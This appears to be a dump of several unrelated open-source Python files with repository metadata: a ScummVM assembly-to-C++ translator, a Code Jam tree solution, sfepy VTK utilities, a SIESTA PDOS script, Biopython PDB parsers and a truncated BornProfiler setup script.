expr = m.group(1).strip() m = re.match(r'\[(.*)\]$', expr) if m is not None: indirection += 1 expr = m.group(1).strip() m = re.match(r'(\w{2,2}):(.*)$', expr) if m is not None: seg_prefix = m.group(1) expr = m.group(2).strip() print "SEGMENT %s, remains: %s" %(seg_prefix, expr) else: seg_prefix = "ds" m = re.match(r'(([abcd][xhl])|si|di|bp|sp)([\+-].*)?$', expr) if m is not None: reg = m.group(1) plus = m.group(3) if plus is not None: plus = self.expand(plus) else: plus = "" match_id = False #print "COMMON_REG: ", reg, plus expr = "%s%s" %(reg, plus) expr = re.sub(r'\b([0-9][a-fA-F0-9]*)h', '0x\\1', expr) expr = re.sub(r'\b([0-1]+)b', parse_bin, expr) expr = re.sub(r'"(.)"', '\'\\1\'', expr) if match_id: #print "BEFORE: %d" %indirection self.indirection = indirection expr = re.sub(r'\b[a-zA-Z_][a-zA-Z0-9_]+\b', self.expand_cb, expr) indirection = self.indirection #print "AFTER: %d" %indirection if indirection == 1: if size == 1: expr = "%s.byte(%s)" %(seg_prefix, expr) elif size == 2: expr = "%s.word(%s)" %(seg_prefix, expr) else: expr = "@invalid size 0" elif indirection == 0: pass elif indirection == -1: expr = "&%s" %expr else: raise Exception("invalid indirection %d" %indirection) return expr def mangle_label(self, name): name = name.lower() return re.sub(r'\$', '_tmp', name) def resolve_label(self, name): name = name.lower() if not name in self.proc.labels: try: offset, proc, pos = self.context.get_offset(name) except: print "no label %s, trying procedure" %name proc = self.context.get_global(name) pos = 0 if not isinstance(proc, proc_module.proc): raise CrossJump("cross-procedure jump to non label and non procedure %s" %(name)) self.proc.labels.add(name) for i in xrange(0, len(self.unbounded)): u = self.unbounded[i] if u[1] == proc: if pos < u[2]: self.unbounded[i] = (name, proc, pos) return self.mangle_label(name) self.unbounded.append((name, proc, pos)) return self.mangle_label(name) def jump_to_label(self, name): jump_proc = False if name in self.blacklist: jump_proc = True if self.context.has_global(name) : g = self.context.get_global(name) if isinstance(g, proc_module.proc): jump_proc = True if jump_proc: if name in self.function_name_remapping: return "{ %s(); return; }" %self.function_name_remapping[name] else: return "{ %s(); return; }" %name else: # TODO: name or self.resolve_label(name) or self.mangle_label(name)?? if name in self.proc.retlabels: return "return /* (%s) */" % (name) return "goto %s" %self.resolve_label(name) def _label(self, name): self.body += "%s:\n" %self.mangle_label(name) def schedule(self, name): name = name.lower() if name in self.proc_queue or name in self.proc_done or name in self.failed: return print "+scheduling function %s..." %name self.proc_queue.append(name) def _call(self, name): name = name.lower() if name == 'ax': self.body += "\t__dispatch_call(%s);\n" %self.expand('ax', 2) return if name in self.function_name_remapping: self.body += "\t%s();\n" %self.function_name_remapping[name] else: self.body += "\t%s();\n" %name self.schedule(name) def _ret(self): self.body += "\treturn;\n" def parse2(self, dst, src): dst_size, src_size = self.get_size(dst), self.get_size(src) if dst_size == 0: if src_size == 0: raise Exception("both sizes are 0") dst_size = src_size if src_size == 0: src_size = dst_size dst = self.expand(dst, dst_size) src = self.expand(src, src_size) return dst, src def _mov(self, dst, src): self.body += "\t%s = %s;\n" %self.parse2(dst, src) def _add(self, dst, src): self.body += "\t_add(%s, %s);\n" %self.parse2(dst, src) def _sub(self, dst, src): self.body += "\t_sub(%s, %s);\n" %self.parse2(dst, src) def _and(self, dst, src): self.body += "\t_and(%s, %s);\n" %self.parse2(dst, src) def _or(self, dst, src): self.body += "\t_or(%s, %s);\n" %self.parse2(dst, src) def _xor(self, dst, src): self.body += "\t_xor(%s, %s);\n" %self.parse2(dst, src) def _neg(self, dst): dst = self.expand(dst) self.body += "\t_neg(%s);\n" %(dst) def _cbw(self): self.body += "\tax.cbw();\n" def _shr(self, dst, src): self.body += "\t_shr(%s, %s);\n" %self.parse2(dst, src) def _shl(self, dst, src): self.body += "\t_shl(%s, %s);\n" %self.parse2(dst, src) #def _sar(self, dst, src): # self.body += "\t_sar(%s%s);\n" %self.parse2(dst, src) #def _sal(self, dst, src): # self.body += "\t_sal(%s, %s);\n" %self.parse2(dst, src) #def _rcl(self, dst, src): # self.body += "\t_rcl(%s, %s);\n" %self.parse2(dst, src) #def _rcr(self, dst, src): # self.body += "\t_rcr(%s, %s);\n" %self.parse2(dst, src) def _mul(self, src): src = self.expand(src) self.body += "\t_mul(%s);\n" %(src) def _div(self, src): src = self.expand(src) self.body += "\t_div(%s);\n" %(src) def _inc(self, dst): dst = self.expand(dst) self.body += "\t_inc(%s);\n" %(dst) def _dec(self, dst): dst = self.expand(dst) self.body += "\t_dec(%s);\n" %(dst) def _cmp(self, a, b): self.body += "\t_cmp(%s, %s);\n" %self.parse2(a, b) def _test(self, a, b): self.body += "\t_test(%s, %s);\n" %self.parse2(a, b) def _js(self, label): self.body += "\tif (flags.s())\n\t\t%s;\n" %(self.jump_to_label(label)) def _jns(self, label): self.body += "\tif (!flags.s())\n\t\t%s;\n" %(self.jump_to_label(label)) def _jz(self, label): self.body += "\tif (flags.z())\n\t\t%s;\n" %(self.jump_to_label(label)) def _jnz(self, label): self.body += "\tif (!flags.z())\n\t\t%s;\n" %(self.jump_to_label(label)) def _jl(self, label): self.body += "\tif (flags.l())\n\t\t%s;\n" %(self.jump_to_label(label)) def _jg(self, label): self.body += "\tif (!flags.le())\n\t\t%s;\n" %(self.jump_to_label(label)) def _jle(self, label): self.body += "\tif (flags.le())\n\t\t%s;\n" %(self.jump_to_label(label)) def _jge(self, label): self.body += "\tif (!flags.l())\n\t\t%s;\n" %(self.jump_to_label(label)) def _jc(self, label): self.body += "\tif (flags.c())\n\t\t%s;\n" %(self.jump_to_label(label)) def _jnc(self, label): self.body += "\tif (!flags.c())\n\t\t%s;\n" %(self.jump_to_label(label)) def _xchg(self, dst, src): self.body += "\t_xchg(%s, %s);\n" %self.parse2(dst, src) def _jmp(self, label): self.body += "\t%s;\n" %(self.jump_to_label(label)) def _loop(self, label): self.body += "\tif (--cx)\n\t\t%s;\n" %self.jump_to_label(label) def _push(self, regs): p = str(); for r in regs: r = self.expand(r) p += "\tpush(%s);\n" %(r) self.body += p def _pop(self, regs): p = str(); for r in regs: self.temps_count -= 1 i = self.temps_count r = self.expand(r) p += "\t%s = pop();\n" %r self.body += p def _rep(self): self.body += "\twhile(cx--)\n\t" def _lodsb(self): self.body += "\t_lodsb();\n" def _lodsw(self): self.body += "\t_lodsw();\n" def _stosb(self, n, clear_cx): self.body += "\t_stosb(%s%s);\n" %("" if n == 1 else n, ", true" if clear_cx else "") def _stosw(self, n, clear_cx): self.body += "\t_stosw(%s%s);\n" %("" if n == 1 else n, ", true" if clear_cx else "") def _movsb(self, n, clear_cx): self.body += "\t_movsb(%s%s);\n" %("" if n == 1 else n, ", true" if clear_cx else "") def _movsw(self, n, clear_cx): self.body += "\t_movsw(%s%s);\n" %("" if n == 1 else n, ", true" if clear_cx else "") def _stc(self): self.body += "\tflags._c = true;\n " def _clc(self): self.body += "\tflags._c = false;\n " def __proc(self, name, def_skip = 0): try: skip = def_skip self.temps_count = 0 self.temps_max = 0 if self.context.has_global(name): self.proc = self.context.get_global(name) else: print "No procedure named %s, trying label" %name off, src_proc, skip = self.context.get_offset(name) self.proc = proc_module.proc(name) self.proc.stmts = copy(src_proc.stmts) self.proc.labels = copy(src_proc.labels) self.proc.retlabels = copy(src_proc.retlabels) #for p in xrange(skip, len(self.proc.stmts)): # s = self.proc.stmts[p] # if isinstance(s, op.basejmp): # o, p, s = self.context.get_offset(s.label) # if p == src_proc and s < skip: # skip = s self.proc_addr.append((name, self.proc.offset)) self.body = str() if name in self.function_name_remapping: self.body += "void %sContext::%s() {\n\tSTACK_CHECK;\n" %(self.namespace, self.function_name_remapping[name]); else: self.body += "void %sContext::%s() {\n\tSTACK_CHECK;\n" %(self.namespace, name); self.proc.optimize() self.unbounded = [] self.proc.visit(self, skip) #adding remaining labels: for i in xrange(0, len(self.unbounded)): u = self.unbounded[i] print "UNBOUNDED: ", u proc = u[1] for p in xrange(u[2], len(proc.stmts)): s = proc.stmts[p] if isinstance(s, op.basejmp): self.resolve_label(s.label) #adding statements #BIG FIXME: this is quite ugly to handle code analysis from the code generation. rewrite me! for label, proc, offset in self.unbounded: self.body += "\treturn;\n" #we need to return before calling code from the other proc self.body += "/*continuing to unbounded code: %s from %s:%d-%d*/\n" %(label, proc.name, offset, len(proc.stmts)) start = len(self.proc.stmts) self.proc.add_label(label) for s in proc.stmts[offset:]: if isinstance(s, op.label): self.proc.labels.add(s.name) self.proc.stmts.append(s) self.proc.add("ret") print "skipping %d instructions, todo: %d" %(start, len(self.proc.stmts) - start) print "re-optimizing..." self.proc.optimize(keep_labels=[label]) self.proc.visit(self, start) self.body += "}\n"; if name not in self.skip_output: self.translated.insert(0, self.body) self.proc = None if self.temps_count > 0: raise Exception("temps count == %d at the exit of proc" %self.temps_count); return True except (CrossJump, op.Unsupported) as e: print "%s: ERROR: %s" %(name, e) self.failed.append(name) except: raise def get_type(self, width): return "uint%d_t" %(width * 8) def write_stubs(self, fname, procs): fd = open(fname, "wt") fd.write("namespace %s {\n" %self.namespace) for p in procs: if p in self.function_name_remapping: fd.write("void %sContext::%s() {\n\t::error(\"%s\");\n}\n\n" %(self.namespace, self.function_name_remapping[p], self.function_name_remapping[p])) else: fd.write("void %sContext::%s() {\n\t::error(\"%s\");\n}\n\n" %(self.namespace, p, p)) fd.write("} // End of namespace %s\n" %self.namespace) fd.close() def generate(self, start): #print self.prologue() #print context self.proc_queue.append(start) while len(self.proc_queue): name = self.proc_queue.pop() if name in self.failed or name in self.proc_done: continue if len(self.proc_queue) == 0 and len(self.procs) > 0: print "queue's empty, adding remaining procs:" for p in self.procs: self.schedule(p) self.procs = [] print "continuing on %s" %name self.proc_done.append(name) self.__proc(name) self.methods.append(name) self.write_stubs("_stubs.cpp", self.failed) self.methods += self.failed done, failed = len(self.proc_done), len(self.failed) self.fd.write("\n") self.fd.write("\n".join(self.translated)) self.fd.write("\n") print "%d ok, %d failed of %d, %.02g%% translated" %(done, failed, done + failed, 100.0 * done / (done + failed)) print "\n".join(self.failed) data_bin = self.data_seg data_impl = "\n\tstatic const uint8 src[] = {\n\t\t" n = 0 comment = str() for v in data_bin: data_impl += "0x%02x, " %v n += 1 comment += chr(v) if (v >= 0x20 and v < 0x7f and v != ord('\\')) else "." if (n & 0xf) == 0: data_impl += "\n\t\t//0x%04x: %s\n\t\t" %(n - 16, comment) comment = str() elif (n & 0x3) == 0: comment += " " data_impl += "};\n\tds.assign(src, src + sizeof(src));\n" self.hd.write( """\n#include "dreamweb/runtime.h" #include "dreamweb/structs.h" #include "dreamweb/dreambase.h" namespace %s { """ %(self.namespace)) if self.skip_addr_constants == False: for name,addr in self.proc_addr: self.hd.write("static const uint16 addr_%s = 0x%04x;\n" %(name, addr)) for name,addr in self.used_data_offsets: self.hd.write("static const uint16 offset_%s = 0x%04x;\n" %(name, addr)) offsets = [] for k, v in self.context.get_globals().items(): if isinstance(v, op.var): offsets.append((k.capitalize(), v.offset)) elif isinstance(v, op.const): offsets.append((k.capitalize(), self.expand_equ(v.value))) #fixme: try to save all constants here offsets = sorted(offsets, key=lambda t: t[1]) for o in offsets: self.hd.write("static const uint16 k%s = %s;\n" %o) self.hd.write("\n") self.hd.write( """ class %sContext : public DreamBase, public Context { public: DreamGenContext(DreamWeb::DreamWebEngine *en) : DreamBase(en), Context(this) {} void __start(); """ %(self.namespace)) if self.skip_dispatch_call == False: self.hd.write( """ void __dispatch_call(uint16 addr); """) for p in set(self.methods): if p in self.blacklist: if self.header_omit_blacklisted == False: self.hd.write("\t//void %s();\n" %p) else: if p in self.function_name_remapping: self.hd.write("\tvoid %s();\n" %self.function_name_remapping[p]) else: self.hd.write("\tvoid %s();\n" %p) self.hd.write("};\n\n} // End of namespace DreamGen\n\n#endif\n") self.hd.close() self.fd.write("void %sContext::__start() { %s\t%s(); \n}\n" %(self.namespace, data_impl, start)) if self.skip_dispatch_call == False: self.fd.write("\nvoid %sContext::__dispatch_call(uint16 addr) {\n\tswitch(addr) {\n" %self.namespace) self.proc_addr.sort(cmp = lambda x, y: x[1] - y[1]) for name,addr in self.proc_addr: self.fd.write("\t\tcase addr_%s: %s(); break;\n" %(name, name)) self.fd.write("\t\tdefault: ::error(\"invalid call to %04x dispatched\", (uint16)ax);") self.fd.write("\n\t}\n}") self.fd.write("\n} // End of namespace DreamGen\n") self.fd.close()
MaddTheSane/scummvm
devtools/tasmrecover/tasm/cpp.py
Python
gpl-2.0
20,440
[ "VisIt" ]
88918cb75fc0953a5772df37aa10acc902f027dc377beb204a9ac9e59d4de2d9
#!/usr/bin/python import sys num_of_test = 0 # number of test case (N) debug = 0 num_N = 0 def open_read_file(): # file_name=raw_input() #file_name="sample_input.txt" #file_name="B-small-practice.in" file_name="B-large-practice.in" fin=open(file_name, 'r') return fin def prune_node(frm, to): global mat, pcount visit = 0 tmp = [] for x in mat[to]: if (x == frm): continue tmp.append(prune_node(to, x)) visit += 1 totsum = sum(tmp)+visit tmp.sort() if (visit > 2) or (visit == 1): if (visit == 1): pcount += tmp[0]+visit totsum -= tmp[0]+visit else: for x in range(len(tmp)-2): pcount += tmp[x] totsum -= tmp[x] pcount += visit-2 totsum -= visit-2 if (debug): print 'cut frm: ', frm, 'to: ', to, 'val: ', tmp[0] return totsum sys.setrecursionlimit(10000) fin = open_read_file() num_of_test = int(fin.readline()) i = 0 while i < num_of_test: num_N = int(fin.readline()) mat = [] pcount = 0 for x in range(num_N+1): mat.append([]) for x in range(num_N-1): string = fin.readline().split() string[0] = int(string[0]) string[1] = int(string[1]) mat[string[0]].append(string[1]) mat[string[1]].append(string[0]) small = num_N smalloc = -1 for x in range(1,num_N+1): pcount = 0 totsum = prune_node(-1, x) if (debug): print 'x: ', x, print 'Totsum: ', totsum, print 'pcount: ', pcount if (small > pcount): small = pcount smalloc = x if (debug): print 'Case #%d: %d %d %d' % ((i+1), num_N, small, smalloc) for x in range(1,num_N+1): print x, ':', mat[x] else: print 'Case #%d: %d' % ((i+1), small) i += 1
ashoksekar/python
CodeJam/2014/Round1A/FullBinaryTree/main.py
Python
gpl-2.0
1,951
[ "VisIt" ]
f1adb3b119cecf914525032ca6e8c9e2c3a18b88e683f16fcd812a88cd347559
"""Postprocessing utils based on VTK library""" import vtk import os import tempfile vtk_version = vtk.vtkVersion().GetVTKMajorVersion() def get_vtk_from_file(filename): """ Read VTK file. Parameters ---------- filename : str Name of the VTK file. Returns ------- vtkdata : VTK object Mesh, scalar, vector and tensor data. """ reader = vtk.vtkUnstructuredGridReader() reader.SetFileName(filename) reader.ReadAllScalarsOn() reader.ReadAllVectorsOn() reader.ReadAllTensorsOn() reader.Update() return reader.GetOutput() def write_vtk_to_file(filename, vtkdata): """ Write VTK file. Parameters ---------- filename : str Name of the VTK file. vtkdata : VTK object Mesh, scalar, vector and tensor data. """ writer = vtk.vtkGenericDataObjectWriter() writer.SetFileName(filename) if vtk_version < 6: writer.SetInput(vtkdata) else: writer.SetInputData(vtkdata) writer.Update() def get_vtk_from_mesh(mesh, data, prefix=''): mesh_name = mesh.name[mesh.name.rfind(os.path.sep) + 1:] tmpdir = tempfile.gettempdir() vtkname = os.path.join(tmpdir, '%s%s.vtk' % (prefix, mesh_name)) mesh.write(vtkname, io='auto', out=data) vtkdata = get_vtk_from_file(vtkname) os.remove(vtkname) return vtkdata def get_vtk_surface(vtkdata): """ Get mesh surface. Parameters ---------- vtkdata : VTK object Mesh, scalar, vector and tensor data. Returns ------- surface : VTK object Mesh, scalar, vector and tensor data. """ surface = vtk.vtkDataSetSurfaceFilter() if vtk_version < 6: surface.SetInput(vtkdata) else: surface.SetInputData(vtkdata) surface.Update() return surface.GetOutput() def get_vtk_edges(vtkdata): """ Get mesh edges. Parameters ---------- vtkdata : VTK object Mesh, scalar, vector and tensor data. Returns ------- edges : VTK object Mesh, scalar, vector and tensor data. """ edges = vtk.vtkExtractEdges() if vtk_version < 6: edges.SetInput(vtkdata) else: edges.SetInputData(vtkdata) edges.Update() return edges.GetOutput() def get_vtk_by_group(vtkdata, group_lower, group_upper=None): """ Get submesh by material group id. Parameters ---------- vtkdata : VTK object Mesh, scalar, vector and tensor data. group_lower : int The lower material id. group_lower : int The Upper material id. Returns ------- slection : VTK object Mesh, scalar, vector and tensor data. """ selection = vtk.vtkThreshold() if vtk_version < 6: selection.SetInput(vtkdata) else: selection.SetInputData(vtkdata) selection.SetInputArrayToProcess(0, 0, 0, vtk.vtkDataObject.FIELD_ASSOCIATION_CELLS, "mat_id") if group_upper is None: group_upper = group_lower selection.ThresholdBetween(group_lower, group_upper) selection.Update() return selection.GetOutput() def tetrahedralize_vtk_mesh(vtkdata): """ 3D cells are converted to tetrahedral meshes, 2D cells to triangles. Parameters ---------- vtkdata : VTK object Mesh, scalar, vector and tensor data. Returns ------- tetra : VTK object Mesh, scalar, vector and tensor data. """ tetra = vtk.vtkDataSetTriangleFilter() if vtk_version < 6: tetra.SetInput(vtkdata) else: tetra.SetInputData(vtkdata) tetra.Update() return tetra.GetOutput()
rc/sfepy
sfepy/postprocess/utils_vtk.py
Python
bsd-3-clause
3,741
[ "VTK" ]
d6d803ca459f815cf637a95de8d0e76ab0e597565da3166a156ff8f8c684b1de
#!/usr/bin/python from numpy import * #from scipy import * #import array import os #next two lines helps me to run commandline agument in python import sys #import operator #use with the operator sorted from operator import itemgetter ########################################################################## # #USAGE: ./EXECUTABLE # you need a file which contains the the ELEMENT POSITION # change the name of EMPDOS ########################################################################## if len(sys.argv) != 2: print '\n\nUsage: %s database \n ###IMPORTANT DETAIL: Name of PDOS file###\n' % (sys.argv[0]) sys.exit(1) dosfile = open(sys.argv[1], "r") array0 = [] array1 = [] for line in dosfile: aa = line.strip().split() array0.append(aa[:2]) # array0.append(aa[2:]) dosfile.close() lengthOfFile=len(array0) #print(lengthOfFile) #print array0[6][1] #print array0[4][1] user_name = 'folder' #mater="C" mater = raw_input("Enter the element whose pdos you want: \n ") EMPDOS = raw_input("Enter the name of the PDOS file: \n ") for n in range(0, lengthOfFile): element = array0[n][0] elementNum = array0[n][1] if element == mater: fileName = "%s%d" % (element, n) print fileName # os.system("mkdir pdos") File="pdos-"+fileName+".txt" fout=open(File,"w") fout.write(EMPDOS) fout.write("\n") fout.write("1\n") fout.write(elementNum) fout.close() os.system("~/bin/pdos-siesta.exe < "+File) os.system("mkdir pdos-"+fileName) os.system("mv "+File+" pdos-"+fileName) os.system("mv pdos_*.dat pdos-"+fileName) count_elem = 0 for n in range(0, lengthOfFile): element = array0[n][0] if element == mater: count_elem = count_elem + 1 print count_elem print count_elem EleName = "Total-"+mater File="pdos-"+EleName+".txt" fout=open(File,"w") fout.write(EMPDOS) fout.write("\n") count_elem = str(count_elem) fout.write( count_elem ) #print cout_element print EleName for n in range(0, lengthOfFile): element = array0[n][0] elementNum = array0[n][1] if element == mater: fout.write("\n") fout.write(elementNum) # os.system("mkdir "+fileName) fout.close() os.system("~/bin/pdos-siesta.exe < "+File) os.system("mkdir "+EleName) os.system("mv "+File+" "+EleName) os.system("mv pdos_*.dat "+EleName) # end of the file, this is it.
altynbekm/Siesta
PlotDos.py
Python
gpl-3.0
2,363
[ "SIESTA" ]
d3f52b6caf1d0a189f47bc98ff907db9bc89e414e17be3166d21b668cd607e11
# Copyright 2012 by Eric Talevich. All rights reserved. # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have been included # as part of this package. import collections import warnings from Bio import BiopythonWarning from Bio.Alphabet import generic_protein from Bio.Seq import Seq from Bio.SeqRecord import SeqRecord from Bio.Data.SCOPData import protein_letters_3to1 def PdbSeqresIterator(handle): """Returns SeqRecord objects for each chain in a PDB file. The sequences are derived from the SEQRES lines in the PDB file header, not the atoms of the 3D structure. Specifically, these PDB records are handled: DBREF, SEQADV, SEQRES, MODRES See: http://www.wwpdb.org/documentation/format23/sect3.html This gets called internally via Bio.SeqIO for the SEQRES based interpretation of the PDB file format: >>> from Bio import SeqIO >>> for record in SeqIO.parse("PDB/1A8O.pdb", "pdb-seqres"): ... print("Record id %s, chain %s" % (record.id, record.annotations["chain"])) ... print(record.dbxrefs) ... Record id 1A8O:A, chain A ['UNP:P12497', 'UNP:POL_HV1N5'] Equivalently, >>> with open("PDB/1A8O.pdb") as handle: ... for record in PdbSeqresIterator(handle): ... print("Record id %s, chain %s" % (record.id, record.annotations["chain"])) ... print(record.dbxrefs) ... Record id 1A8O:A, chain A ['UNP:P12497', 'UNP:POL_HV1N5'] Note the chain is recorded in the annotations dictionary, and any PDB DBREF lines are recorded in the database cross-references list. """ # Late-binding import to avoid circular dependency on SeqIO in Bio.SeqUtils from Bio.SeqUtils import seq1 chains = collections.defaultdict(list) metadata = collections.defaultdict(list) for line in handle: rec_name = line[0:6].strip() if rec_name == 'SEQRES': # NB: We only actually need chain ID and the residues here; # commented bits are placeholders from the wwPDB spec. # Serial number of the SEQRES record for the current chain. # Starts at 1 and increments by one each line. # Reset to 1 for each chain. # ser_num = int(line[8:10]) # Chain identifier. This may be any single legal character, # including a blank which is used if there is only one chain. chn_id = line[11] # Number of residues in the chain (repeated on every record) # num_res = int(line[13:17]) residues = [seq1(res, custom_map=protein_letters_3to1) for res in line[19:].split()] chains[chn_id].extend(residues) elif rec_name == 'DBREF': # ID code of this entry (PDB ID) pdb_id = line[7:11] # Chain identifier. chn_id = line[12] # Initial sequence number of the PDB sequence segment. # seq_begin = int(line[14:18]) # Initial insertion code of the PDB sequence segment. # icode_begin = line[18] # Ending sequence number of the PDB sequence segment. # seq_end = int(line[20:24]) # Ending insertion code of the PDB sequence segment. # icode_end = line[24] # Sequence database name. database = line[26:32].strip() # Sequence database accession code. db_acc = line[33:41].strip() # Sequence database identification code. db_id_code = line[42:54].strip() # Initial sequence number of the database seqment. # db_seq_begin = int(line[55:60]) # Insertion code of initial residue of the segment, if PDB is the # reference. # db_icode_begin = line[60] # Ending sequence number of the database segment. # db_seq_end = int(line[62:67]) # Insertion code of the ending residue of the segment, if PDB is the # reference. # db_icode_end = line[67] metadata[chn_id].append({'pdb_id': pdb_id, 'database': database, 'db_acc': db_acc, 'db_id_code': db_id_code}) # ENH: 'SEQADV' 'MODRES' for chn_id, residues in sorted(chains.items()): record = SeqRecord(Seq(''.join(residues), generic_protein)) record.annotations = {"chain": chn_id} if chn_id in metadata: m = metadata[chn_id][0] record.id = record.name = "%s:%s" % (m['pdb_id'], chn_id) record.description = ("%s:%s %s" % (m['database'], m['db_acc'], m['db_id_code'])) for melem in metadata[chn_id]: record.dbxrefs.extend([ "%s:%s" % (melem['database'], melem['db_acc']), "%s:%s" % (melem['database'], melem['db_id_code'])]) else: record.id = chn_id yield record def PdbAtomIterator(handle): """Returns SeqRecord objects for each chain in a PDB file The sequences are derived from the 3D structure (ATOM records), not the SEQRES lines in the PDB file header. Unrecognised three letter amino acid codes (e.g. "CSD") from HETATM entries are converted to "X" in the sequence. In addition to information from the PDB header (which is the same for all records), the following chain specific information is placed in the annotation: record.annotations["residues"] = List of residue ID strings record.annotations["chain"] = Chain ID (typically A, B ,...) record.annotations["model"] = Model ID (typically zero) Where amino acids are missing from the structure, as indicated by residue numbering, the sequence is filled in with 'X' characters to match the size of the missing region, and None is included as the corresponding entry in the list record.annotations["residues"]. This function uses the Bio.PDB module to do most of the hard work. The annotation information could be improved but this extra parsing should be done in parse_pdb_header, not this module. This gets called internally via Bio.SeqIO for the atom based interpretation of the PDB file format: >>> from Bio import SeqIO >>> for record in SeqIO.parse("PDB/1A8O.pdb", "pdb-atom"): ... print("Record id %s, chain %s" % (record.id, record.annotations["chain"])) ... Record id 1A8O:A, chain A Equivalently, >>> with open("PDB/1A8O.pdb") as handle: ... for record in PdbAtomIterator(handle): ... print("Record id %s, chain %s" % (record.id, record.annotations["chain"])) ... Record id 1A8O:A, chain A """ # TODO - Add record.annotations to the doctest, esp the residues (not working?) # Only import PDB when needed, to avoid/delay NumPy dependency in SeqIO from Bio.PDB import PDBParser from Bio.SeqUtils import seq1 def restype(residue): """Return a residue's type as a one-letter code. Non-standard residues (e.g. CSD, ANP) are returned as 'X'. """ return seq1(residue.resname, custom_map=protein_letters_3to1) # Deduce the PDB ID from the PDB header # ENH: or filename? from Bio.File import UndoHandle undo_handle = UndoHandle(handle) firstline = undo_handle.peekline() if firstline.startswith("HEADER"): pdb_id = firstline[62:66] else: warnings.warn("First line is not a 'HEADER'; can't determine PDB ID. " "Line: %r" % firstline, BiopythonWarning) pdb_id = '????' struct = PDBParser().get_structure(pdb_id, undo_handle) model = struct[0] for chn_id, chain in sorted(model.child_dict.items()): # HETATM mod. res. policy: remove mod if in sequence, else discard residues = [res for res in chain.get_unpacked_list() if seq1(res.get_resname().upper(), custom_map=protein_letters_3to1) != "X"] if not residues: continue # Identify missing residues in the structure # (fill the sequence with 'X' residues in these regions) gaps = [] rnumbers = [r.id[1] for r in residues] for i, rnum in enumerate(rnumbers[:-1]): if rnumbers[i + 1] != rnum + 1: # It's a gap! gaps.append((i + 1, rnum, rnumbers[i + 1])) if gaps: res_out = [] prev_idx = 0 for i, pregap, postgap in gaps: if postgap > pregap: gapsize = postgap - pregap - 1 res_out.extend(restype(x) for x in residues[prev_idx:i]) prev_idx = i res_out.append('X' * gapsize) else: warnings.warn("Ignoring out-of-order residues after a gap", BiopythonWarning) # Keep the normal part, drop the out-of-order segment # (presumably modified or hetatm residues, e.g. 3BEG) res_out.extend(restype(x) for x in residues[prev_idx:i]) break else: # Last segment res_out.extend(restype(x) for x in residues[prev_idx:]) else: # No gaps res_out = [restype(x) for x in residues] record_id = "%s:%s" % (pdb_id, chn_id) # ENH - model number in SeqRecord id if multiple models? # id = "Chain%s" % str(chain.id) # if len(structure) > 1 : # id = ("Model%s|" % str(model.id)) + id record = SeqRecord(Seq(''.join(res_out), generic_protein), id=record_id, description=record_id) # The PDB header was loaded as a dictionary, so let's reuse it all record.annotations = struct.header.copy() # Plus some chain specifics: record.annotations["model"] = model.id record.annotations["chain"] = chain.id # Start & end record.annotations["start"] = int(rnumbers[0]) record.annotations["end"] = int(rnumbers[-1]) # ENH - add letter annotations -- per-residue info, e.g. numbers yield record if __name__ == '__main__': from Bio._utils import run_doctest run_doctest(verbose=0)
zjuchenyuan/BioWeb
Lib/Bio/SeqIO/PdbIO.py
Python
mit
10,486
[ "Biopython" ]
5ad0b9ba9d42d824c0322d2fb648cca2e65b82847118e0e6423558304268ebed
#!/usr/bin/env python # -*- Mode: python; tab-width: 4; indent-tabs-mode:nil; coding: utf-8 -*- # vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 # # BornProfiler --- A package to calculate electrostatic free energies with APBS # Written by Kaihsu Tai, Lennard van der Feltz, and Oliver Beckstein # Released under the GNU Public Licence, version 3 # """Automated bornprofiler run (EXPERIMENTAL)""" import os import logging import sys import subprocess import MDAnalysis import bornprofiler from bornprofiler.config import cfg import bornprofiler.run_setup as run_setup logger = logging.getLogger("bornprofiler") def generate_directory(directory): try: os.mkdir(directory) except OSError: logger.warning("Directory {drc} already exists. Did not delete".format(drc=directory)) def prepare_run(protein,pdbids,ions,forcefield,pH,Nomembrane,path,pathres,script,arrayscript,submit_com): logger.info("generating {prot} directory".format(prot=protein)) generate_directory(protein) os.chdir(protein) logger.info("generating cfg sections") cfg.add_section('plotting') cfg.add_section('environment') cfg.add_section('bornprofile') cfg.add_section('job') cfg.set("job","script",script) cfg.set("job","arrayscript",arrayscript) for pdbid in pdbids: logger.info("generating {prot}/{pdb} directory".format(prot=protein,pdb=pdbid)) generate_directory(pdbid) os.chdir(pdbid) run_setup.get_protein_pdb(pdbid) if Nomembrane: pass else: bot_rad,top_rad,thickness,zbot = run_setup.memplacer(pdbid,None) try: if pH == None: subprocess.call(["pdb2pqr.py","--whitespace","--ff={force}".format(force=forcefield),"{pdb}_protein.pdb".format(pdb=pdbid),"{pdb}.pqr".format(pdb=pdbid)]) else: subprocess.call(["pdb2pqr.py","--whitespace","--ff={force}".format(force=forcefield),"--with-ph={pH}".format(pH=pH),"{pdb}_protein.pdb".format(pdb=pdbid),"{pdb}.pqr".format(pdb=pdbid)]) except: logger.info("pqr generation for {pdb}_protein.pdb failed. This pqr must be generated before running apbs calculations. Make sure pdb2pqr is available.".format(pdb=pdbid)) logger.info("Calculating protein size and location information") u = MDAnalysis.Universe("{pdb}_protein.pdb".format(pdb=pdbid)) bmin,bmax = u.atoms.bbox() centroidz = u.atoms.centroid()[2] if path == True: logger.info("Creating path") pmin = bmin[2]-10 pmax = bmax[2] + 10 subprocess.call(["apbs-bornprofile-straightpath.py","0", "0", "{z}".format(z = pmin), "0", "0", "1", "{leng}".format(leng = pmax-pmin), "{stepleng}".format(stepleng = pathres), "--title","Centerline"]) else: logger.info("Calculating path size information") P = MDAnalysis.Universe("../../{path}".format(path=path)) topcorner,botcorner = P.atoms.bbox() pmin=botcorner[2] pmax=topcorner[2] for ion in ions: logger.info("generating {prot}/{pdb}/{ion} directory".format(prot=protein,pdb=pdbid,ion=ion)) generate_directory(ion) os.chdir(ion) logger.info("Setting cfg elements based on protein, ion, membrane, and path information") if Nomembrane: cfg.set('membrane','rtop','0') cfg.set('membrane','rbot','0') cfg.set('membrane','lmem','0') cfg.set('membrane','zmem','0') else: cfg.set('membrane','rtop','{}'.format(top_rad)) cfg.set('membrane','rbot','{}'.format(bot_rad)) cfg.set('membrane','lmem','{}'.format(thickness)) cfg.set('membrane','zmem','{}'.format(zbot)) cfg.set('environment','pqr','../{pdb}.pqr'.format(pdb=pdbid)) cfg.set('bornprofile','ion',ion) #section to ensure fine grids always contained within coarse grids if pmax - centroidz > 75: box = (abs(centroidz - pmax) + 100)*2 if box/161 - 250/129 < box/129 -250/129: dime = 161 elif pmin - centroidz < -75: box = (abs(centroidz - pmin) + 100)*2 if box/161 - 